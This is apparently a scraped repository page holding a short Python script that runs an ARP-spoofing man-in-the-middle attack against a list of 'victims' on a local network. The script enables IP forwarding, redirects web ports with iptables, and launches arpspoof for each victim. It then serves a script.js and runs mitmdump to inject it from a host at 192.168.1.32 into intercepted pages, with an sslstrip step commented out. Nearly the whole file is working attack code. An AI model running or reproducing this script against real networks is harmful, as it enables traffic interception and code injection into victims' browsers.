originally from git.lmitsystems.de/lukas/brainfuck2ook.
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

35 lines
1.1KB

  1. import os
  2. import sys
  3. #get gateway_ip (router)
  4. gateway = sys.argv[1]
  5. print("gateway: " + gateway)
  6. # get victims_ip
  7. victims = [line.rstrip('\n') for line in open("victims.txt")]
  8. print("victims:")
  9. print(victims)
  10. # configure routing (IPTABLES)
  11. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  12. os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
  13. os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
  14. os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
  15. # run the arpspoof for each victim, each one in a new console
  16. for victim in victims:
  17. os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
  18. os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
  19. # start the http server for serving the script.js, in a new console
  20. os.system("xterm -hold -e 'python3 httpServer.py' &")
  21. # start the mitmproxy
  22. os.system("~/.local/bin/mitmdump -s 'injector.py http://192.168.1.32:8000/script.js' -T")
  23. '''
  24. # run sslstrip
  25. os.system("xterm -e sslstrip -l 8080 &")
  26. '''